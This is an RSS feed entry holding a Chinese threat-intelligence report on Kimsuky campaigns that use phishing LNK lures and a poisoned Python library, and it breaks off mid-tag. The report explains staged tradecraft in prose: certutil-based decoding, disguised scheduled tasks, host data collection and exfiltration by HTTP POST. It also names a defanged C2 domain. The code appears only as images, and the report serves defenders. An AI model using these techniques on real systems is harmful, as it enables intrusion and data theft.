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    <title>360威胁情报中心</title>
    <link>https://wechat2rss.xlab.app/feed/920f171e3dae0c8eeb4c97b366b229ba19807732.xml</link>
    <description>360威胁情报中心是全球领先的威胁情报共享、分析和预警平台，依托360安全大脑百亿级样本，万亿级防护日志等海量安全数据，整合360漏洞挖掘、恶意代码分析、威胁情报追踪等团队的安全能力，产出高质量的安全威胁情报，驱动安全的防御、检测和响应。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (360威胁情报中心)</managingEditor>
    <pubDate>Thu, 15 Oct 2026 17:31:04 +0800</pubDate>
    <lastBuildDate>Thu, 15 Oct 2026 17:31:04 +0800</lastBuildDate>
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      <title>360威胁情报中心</title>
      <link>https://wechat2rss.xlab.app/feed/920f171e3dae0c8eeb4c97b366b229ba19807732.xml</link>
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      <title>APT-C-55（Kimsuky）组织多路径投递攻击活动分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247509028&amp;idx=1&amp;sn=66b3cd8daa9371324409a3daab2d537c</link>
      <description>监测发现Kimsuky组织攻击：攻击者利用钓鱼邮件投递伪装保险金融文档的恶意文件，并污染开源代码仓库实施供应链攻击，目标覆盖韩日越德等国，涉及保险金融、科研等领域。</description>
      <content:encoded><![CDATA[<p><span>高级威胁研究院</span> <span>2026-10-15 17:30</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c6293c83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FEmmib7pWXrXJ7gXK03S4TGfDJlWhVOVYrXJR4byVeyALUq5MnzH0Y5Q0yD9cWvSJjiaL5v5txXAt4aicqnweufEQ18F7EErO4EibgnX3yBh96BM%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>监测发现Kimsuky组织攻击：攻击者利用钓鱼邮件投递伪装保险金融文档的恶意文件，并污染开源代码仓库实施供应链攻击，目标覆盖韩日越德等国，涉及保险金融、科研等领域。</p>
  <div style="max-width:578px;margin:0 auto;padding:8px 0;"><div style="margin:10px auto;text-align:left;"><div style="background:#f2f2f2;"><div style="box-sizing:border-box;padding:1em 1em;"><div style="display:flex;justify-content:space-between;align-items:flex-end;"><div style="display:flex;justify-content:space-between;flex-direction:column;align-items:flex-start;border-left:4px solid #be191f;box-sizing:border-box;"><p style="font-size:16px;letter-spacing:1.5px;padding:0 0 3px;color:#322828;margin-left:12px;border-bottom:1px solid #be191f;font-style:italic;box-sizing:border-box;"><span style="font-size:18px;"><strong><span leaf="">APT-C-55</span></strong></span></p><p style="letter-spacing:1.5px;padding:4px 0 0;color:#be191f;font-style:italic;box-sizing:border-box;"><span style="font-size:18px;"><strong><span leaf="">  Kimsuky</span></strong></span></p></div></div><div style="text-align:justify;line-height:1.75em;letter-spacing:1.5px;font-size:17px;color:#000;margin-top:20px;"><p style="text-indent:2em;margin:8px 0;"><span leaf="">APT-C-55（Kimsuky）组织，也被称为MysteryBaby、BabyCoin、SmokeScreen、BabyShark、CobraVenom等多个别名，最早由Kaspersky在2013年公开披露。长期以来，该组织专注于对韩国的智囊团、政府外交部门、新闻媒体和教育学术机构等进行网络攻击。在过去几年中，Kimsuky的攻击范围已经扩大，目标包括多个国家和地区。其主要目的是进行情报窃取活动，以获取关键的政治和军事情报。</span></p><p style="text-indent:2em;margin:8px 0;"><span leaf="">在日常监测与分析过程中，我们捕获到Kimsuky组织近期发起的多起攻击活动。攻击者通过钓鱼邮件投递伪装成保险、金融文档的恶意文件，同时污染开源代码仓库实施供应链攻击，目标覆盖韩国，并疑似涉及到多个国家，涉及保险金融、科研开发等领域。一旦入侵成功，攻击者可在受害者毫不知情的情况下长期控制主机，持续窃取系统配置、账户信息、业务文档等敏感数据，对目标机构的信息安全构成严重威胁。</span></p></div></div></div></div><h1 style="display:inline-block;background-color:#be191f;padding:6px 15px;box-sizing:border-box;font-size:18px;font-weight:bold;color:#ffffff;letter-spacing:1.5px;margin:24px 0 16px;"><span leaf="">一、目标</span></h1><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">本次活动中提取到的诱饵文档呈现明显的多语种、多区域投放特征。数量上以韩文诱饵为主体，主题高度集中于保险与金融业务线，包括보험서류（保险文件）、자금집행첨부자료（资金执行附件资料）、채권양도계약서（债权转让合同）、소득월액보험료_동의서_개정(안)（月收入保费同意书·修订案）等。</span></p><p style="text-indent: 2em;text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在韩文之外，同时发现日文、越南文、德文和英文诱饵：日文如契約書_DS4092452_974520274（契约书），越南文如Hợpđồngmuabán_2745011321（买卖合同），德文如Kaufvertrag_CS520423048_828429484/Kaufvertrag_MS560482056_928030948（买卖合同），英文如ContractAgreementDS9092452_294635744、InsuranceDocumentsFS805238_3084618338。整体上以韩国为主要目标，并疑似涉及到其他国家或地区。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5231481481481481" data-w="1080" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=3dffd4a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKTom2Fich4s01icrXlz3Uh24EgZhNrfT7adDHeyyGDXAenKwFA2vhrr4kFWEVrcxrX3WrFt8n5BHFCGWhJymy6PQI4YibSwhXE5c%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align:center;font-size:13px;color:#888;margin:4px 0 12px;"><span leaf="">图 1 诱饵文件图示</span></p><h1 style="display:inline-block;background-color:#be191f;padding:6px 15px;box-sizing:border-box;font-size:18px;font-weight:bold;color:#ffffff;letter-spacing:1.5px;margin:24px 0 16px;"><span leaf="">二、攻击活动分析</span></h1><h2 style="font-size: 17px;font-weight: bold;color: rgb(190, 25, 31);margin: 0px;letter-spacing: 0.5px;"><span leaf="">1.攻击流程分析</span></h2><p style="font-size: 17px;line-height: 1.75em;color: rgba(0, 0, 0, 0.9);text-align: justify;text-indent: 2em;margin: 16px 0px;letter-spacing: 0.5px;"><span leaf="">本次攻击活动呈现出多路径、分阶段的复杂攻击特征，攻击者采用三种不同的初始投递方式，但最终均指向长期驻留与信息窃取。三种攻击方式在技术手法上存在显著差异，但在持久化机制、工具链复用和数据窃取逻辑上高度一致。第一种通过钓鱼邮件发送恶意的快捷方式，受害者打开后恶意程序在后台运行，自动下载后续攻击组件并定时向攻击者服务器回传系统信息和个人数据。第二种同样使用伪装快捷方式，通过PowerShell脚本从远程下载恶意载荷，回传用户信息并持久化驻留。第三种通过污染开源代码库，开发者在不知情下安装被篡改的Python库，运行测试时触发隐藏后门。三种方式均能在受害者毫无察觉的情况下长期控制主机、持续窃取敏感数据。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.47685185185185186" data-w="1080" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=13f3671b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLky9RAHJI3WviaqlfJZoqgAg7l3BhCbvRHzMCQ8wleWb2v1MuQkcqia1HHVUVQze5eevmoDDPk7KNJ2M5MxHPBkicHT47e0cHwlY%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align:center;font-size:13px;color:#888;margin:4px 0 12px;"><span leaf="">图 2 攻击流程图</span></p><h2 style="font-size: 17px;font-weight: bold;color: rgb(190, 25, 31);margin: 0px;letter-spacing: 0.5px;"><span leaf="">2.攻击组件分析</span></h2><h3 style="font-size:17px;font-weight:bold;color:#000000;margin:18px 0 8px;letter-spacing:0.5px;"><span leaf="">钓鱼邮件</span></h3><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">攻击者通过钓鱼邮件释放恶意LNK文件，该文件将base64编码的恶意脚本写入临时文件，利用复制的certutil.exe将其解码为批处理脚本并执行，通过合法系统工具和随机文件名规避检测。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.25" data-w="1080" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=3811b07d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIFBnJPA6pO29yFn5ADbXyotTm8jcUzdOlUDdakZutcYR6NCic4rMbs4FFvle31Bep6xPkDWzdc7YJgaf6FO1myxlkiboK5n0OLc%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 3 第一阶段脚本代码示例</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">释放的第二阶段BAT脚本先进行反调试检查，若检测到调试进程则立即退出。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3375" data-w="880" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=5d2ac0be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIgBcXZcgz31nvibUiaXa1iaPfjNT8ZYDhlYSvqftW1hAXoeiaQ0QsTJF8b61zIaMHB7tsibSUbZ74PsibibRDmYo3ajK3d7txaSJ0zK0%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 4 第二阶段反调试代码示例</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">随后在C:\Users\Public\Videos\Samples\目录下部署恶意文件，写入三份配置文件，包括攻击者掌握的仓库路径、后续载荷名init.dat以及令牌。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7043147208121827" data-w="788" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=cf9fdb3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLGiaeDYdIFrxYrtWAhrfgpz1ROcOqRIjvmn7Q8umdK0n4olzlJYORXEPaLkFXJGR6B46IicXVbsyzvyBk2o6KggzWEOmDviakejU%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size: 17px;line-height: 1.75em;color: rgba(0, 0, 0, 0.9);text-align: center;text-indent: 0px;margin: 16px 0px;letter-spacing: 0.5px;"><span leaf="" style="max-width: 578px;font-size: 13px;color: rgb(136, 136, 136);">图 5 写入配置文</span><span leaf="" style="max-width: 578px;font-size: 13px;color: rgb(136, 136, 136);">件</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">把certutil.exe复制到%temp%下改名为ce&lt;随机数&gt;.exe，后续下载、解码全走这个副本。并从仓库下载后续诱饵文档，另存为LNK同名诱饵文档并自动打开，若下载失败，则写入“Can not open document”伪装成文档打不开的提示，避免受害者起疑。若该PDF已存在，说明主机此前已被感染，直接打开文档、自删除退出，不重复感染。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.36585365853658536" data-w="943" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=29702dd8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXL9Dn6icMeCxRHAuwibHANLbKSRls2xyCZaqcVgfb3emy7SLDBtia1EqfhCexl7zhiaXxicGDscmvzJgHerpwMrTtAWiaqX5rbeNguyk%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 6 下载诱饵文档</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5545212765957447" data-w="752" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e04b8c99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKO9XiafjKJaJ8WzoJibib2HAeEfrMApJIO7UVVibTVr4UnOY7al1zntw7YwibDS81vZZDic6SKgLXCricUsGyGyQUE9RMibQSqxFnNAV4%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 7 诱饵文档示例</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">脚本正文中内嵌一大段base64编码的批处理，写入.tmp后用certutil副本解码为Samples\ini&lt;随机数&gt;.bat。目录下的mark.ini（内容jap）作为感染标记：解码前先检查它是否存在，存在即说明已释放过，直接跳过，保证整个流程只执行一次。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7064814814814815" data-w="1080" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6d72c3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKNNUUYoaUaqKVOHsL8OalqdU558g6omUwpCjzAHEh8cvaQ0D8r2NBHYdFlYPCgTTxcqFAxPBiaZvpCrpCCZribiaxlLBX0uMpFQc%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 8 嵌入base64编码代码示例</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">从同一仓库下载token.dat，实际为nircmd程序(小型命令行实用工具)，保存为Samples\ntoskrnl.exe。下载后先读文件开头，检查是否以&lt;html开头的GitHub 404报错页，确认下载成功才继续，否则转入备用方案。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.47023809523809523" data-w="840" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=bd28f7a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKyiaNzICftPh8Iuhbh2kY6yUKQqZsNicPzg3FzsnPwpVfkbJrarobmLyibnfKSEtpITUicA0pibfxdXXiaoXkbah7yJRZgap4vmGNNU%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 9 下载命令行工具</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">为了实现任务持久化，先删除同名旧任务，再用schtasks创建名为MicrosoftUpdate_&lt;随机数&gt;的计划任务，每9分钟执行一次下载的组件ntoskrnl.exe，并把上文释放脚本的路径作为参数（exec hide）传给它，实现长期驻留。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1685185185185185" data-w="1080" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4055661a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIFRjFtq2EjWWxIOZhZ1CDkZ6bAGEiaibmsQVocyUa8yK9V8jQjbJZVPLVcHd4fAHPR6FdDiaJiaLbQ8MUJq30bicf3yrnWXEsibSQms%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 10 建立计划任务</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">若组件下载失败，则使用备用方案，生成VBS。其中CreateObject(&#34;WScript.Shell&#34;)先用字符5打散混淆、再统一剥掉还原。VBS以无窗口方式运行释放的脚本，同样注册成9分钟一次的计划任务，改用wscript.exe执行。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3120706575073602" data-w="1019" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=3c557cdf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXK9PZ5dsbmUN5hdbfRheWROiby4dsxnSXTPMaFy3IEe3eiblNmfBiaE9Oflh4zgBaCEhqTD1GmT5Qy0sJSXZ3utiaL2xDPBxF4HZqE%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 11 备用方案代码示例</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">收尾时删除certutil副本、base64临时文件，以及第一阶段的落地文件，最后删除脚本自身。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.548689138576779" data-w="534" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e695ae2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIuu55NCoszicsjoqxibChJ42NKHkIO1fSjP6UtCZrCSicLcDVSPC0Vnj11Qfl84x1c3IPoVhuO6Aib17yfGXqOEt96keTQPtrTesQ%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 12 清理痕迹代码示例</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">第三阶段BAT脚本，由计划任务每9分钟拉起一次。从第二阶段落盘的三份配置文件中取回C2信息。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5300794551645857" data-w="881" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=689bfdf9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLtPXRhYM8SH2G84nhTJf7r7A87oyNzWlNbibC6gk9B0qbr5SrBAiafWyw4b6ria6IFwx1AApf6OeWwAUZ8SicibHAypQmMTIg0fSico%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 13 第三阶段读取配置文件代码示例</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">从注册表读取Windows安装时生成的全局唯一标识MachineGuid（位于HKLM\SOFTWARE\Microsoft\Cryptography），拼上.dat后缀作为文件名。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.11203703703703703" data-w="1080" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=f6339318&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKD8ibJshpY44ZAXNGPNLHFoqykh7oQ5ndWQ0VETEgUIDDlnf1UPJXZagxkyrDyjTMSrsIGicgGJBQZeZjJuibkr87lLseslCjXyc%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 14 从注册表读取信息</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">第三阶段延续前两阶段的手法，把certutil.exe复制到%temp%改名为con&lt;随机数&gt;.exe，把curl.exe复制到Samples目录改名为task&lt;随机数&gt;.exe。构造github下载地址，优先用curl副本下载init.dat，失败则用certutil的urlcache兜底。通过校验后用certutil解码为批处理，再检查内容是否以jap开头，最后以call方式执行并把token作为参数传入。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6967126193001061" data-w="943" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=04f50125&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXI9kOTBZVeotqYkomkEHUciaz1z3Or65RAia635a0xdghpDGIDxPialYy1REUiakQIKXWbSUf4hHMRIhDfTRt5oBZjSlrwIs8DSUD4%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 15 下载后续载荷</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">紧接着以同样的流程下载第二路载荷&lt;MachineGuid&gt;.dat。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.20935175345377258" data-w="941" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=b3ea3d85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKpwOicnG8sBsxw1icl5icBycv1bdPnIm8YiaqIxSRzmQW3rSv3o1lvzAYtRs3MP0xibHd0bYhnznIXgsytkuCSJPagKaCR5ia99Jd38%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 16 下载第二路载荷</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">执行完毕后，删除certutil副本、curl副本、两路载荷的下载临时文件和解码出的批处理。该脚本每9分钟都会重新走一遍完整流程。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.33043478260869563" data-w="805" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=43c680c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXL5NKVVGNw1NlicvkUSp8zjiceRJdOrDkk8Dlicpjy4SMEmgO0ZlJXG6aF4uFsIGCZOgdxwic0Nr8zF7OibGvOVDKibFWnkLNfibarJhM%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 17 清理痕迹代码示例</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">另一份第二阶段BAT脚本的变种则从仓库下载WinRAR程序，随后用来解压check.dat，该脚本的主要功能仍是下载init.dat脚本。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5305555555555556" data-w="1080" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4d2566a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLloicp4SWAyMEK1ic9SMiccmboZhguYvjQwAEGiceXsHvmHUz12gmwic2BVCuuTRlydvbhCNiaf4OEJaNKMx8YWpbSiaibLqWrU6RNUDk%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 18 第二阶段变种脚本示例</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">init.dat主要是通过系统命令采集主机名、账户列表、进程表、系统信息、网络配置及用户/程序目录的目录树，汇总写入临时文件。样本滥用certutil.exe与curl.exe的副本下载并外传数据，将采集结果以受害者ID命名，经HTTP POST上传至攻击者掌握的远端服务器，完毕即自删全部临时文件清除痕迹。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6196754563894523" data-w="986" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=87c15476&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKfH8EryCwuFwa86YIPAfibs1hV7ZgvAQzWCc3YFhJGaxxc0fmbjMl6g79dkuewGKHV6RxEUFT6RRqRDvIqWNgMKATXn0MQ5zmQ%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 19 收集信息代码示例</span></p><h3 style="font-size:17px;font-weight:bold;color:#000000;margin:18px 0 8px;letter-spacing:0.5px;"><span leaf="">恶意LNK</span></h3><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">攻击者同样使用伪装成韩文保险文件PDF的恶意LNK快捷方式文件，实际会调用PowerShell执行载荷。PowerShell载荷经过双重十六进制编码嵌套。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.38425925925925924" data-w="1080" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=671d9b55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKiaNAf8Thvibjj7yaM9Z3Ee81BAuQctxX67SatxS4BykwGsvoliatTYdReO91EibwicyD4mNYCxp0RiayYicYkGFCrXgAYNKqAkBLuW8%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 20 powershell载荷代码示例</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">解码后的功能写入本地脚本C:\Users\Public\e7wSF5W3omy51To.ps1，创建计划任务持久化，并从远程加载并打开诱饵PDF。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4444444444444444" data-w="1080" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=34a79949&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKqicUdZbaBe60dFmkxOZqvMxKxSGnIar6BlUSyCNkOYsgFoOexU8MI97vqI9qMDQiaYZzTrz8z7S7kzA9ra0uyxKsKk5ExLkSvA%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 21 解码后代码示例</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7439759036144579" data-w="996" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=c882adbf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJscb8atCpgtjSmkwImJVK9Z2rk9qNxVibGicUNntG5T4BJe95vQ7iaiaOUpiaZNjbS458mFvhAL8ib3CwMNQLgpyYCI92yRpKcSxibsU%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 22 诱饵文档图示</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">写入的脚本从C2服务器mf3goke.getenjoyment[.]net下载远程载荷，回传用户域和用户名，写入%APPDATA%\Microsoft\gertg4wf.ps1并执行，5秒后自删除。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1537037037037037" data-w="1080" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8b49f9c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKQa1icIaz7oHSuESWAgIoD1ibBrLLKJY82P708v5WN73p48ibwH6rSXXCUq47ZIF4BomrtmhicMNauKHISKib6JVJjyfqn2gRpib49Q%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 